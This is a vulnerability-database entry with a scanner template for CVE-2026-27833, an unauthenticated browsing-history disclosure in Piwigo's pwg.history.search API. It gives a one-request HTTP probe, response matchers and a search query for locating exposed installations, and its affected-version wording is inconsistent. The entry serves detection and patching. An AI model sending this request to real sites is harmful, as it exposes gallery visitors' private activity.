Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API
CVE-2026-27833
Verified
Description
Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication
Severity
High
CVSS Score
7.5
Exploit Probability
2%
Affected Product
piwigo
Published Date
June 15, 2026
Template Author
0x_akoko
CVE-2026-27833.yaml
id: CVE-2026-27833
info:
name: Piwigo < 16.3.0 - Unauthenticated Information Disclosure via History API
author: 0x_Akoko
severity: high
description: |
Piwigo <= 16.3.0 contains an information disclosure vulnerability caused by the pwg.history.search API method lacking admin_only restriction, letting unauthenticated users access full browsing history, exploit requires no authentication
impact: |
Unauthenticated attackers can access full browsing history of all gallery visitors, exposing sensitive user activity data.
remediation: |
Update to version 16.3.0 or later.
reference:
- https://github.com/Piwigo/Piwigo/security/advisories/GHSA-397m-gfhm-pmg2
- https://nvd.nist.gov/vuln/detail/CVE-2026-27833
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-27833
epss-score: 0.01641
epss-percentile: 0.73959
cwe-id: CWE-862
metadata:
verified: false
max-request: 1
vendor: piwigo
product: piwigo
fofa-query: icon_hash=="540706145"
tags: cve,cve2026,piwigo,exposure,unauth
http:
- raw:
- |
GET /ws.php?method=pwg.history.search&format=json HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "\"stat\":\"ok\"", "\"result\"", "\"lines\"")'
- 'contains_any(body, "\"USERNAME\"", "\"NB_LINES\"", "\"GUESTS\"")'
condition: and
# digest: 4b0a00483046022100b69b57897721c3181c7699510ced5ff74ebf716385d72bde80947f6619721f90022100daf4b09252b18e8e92e279ea94d823fd3592a1649c6a037652f744378e3d97d6:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-27833
CWE ID:
cwe-862
Remediation Steps
Update to version 16.3.0 or later.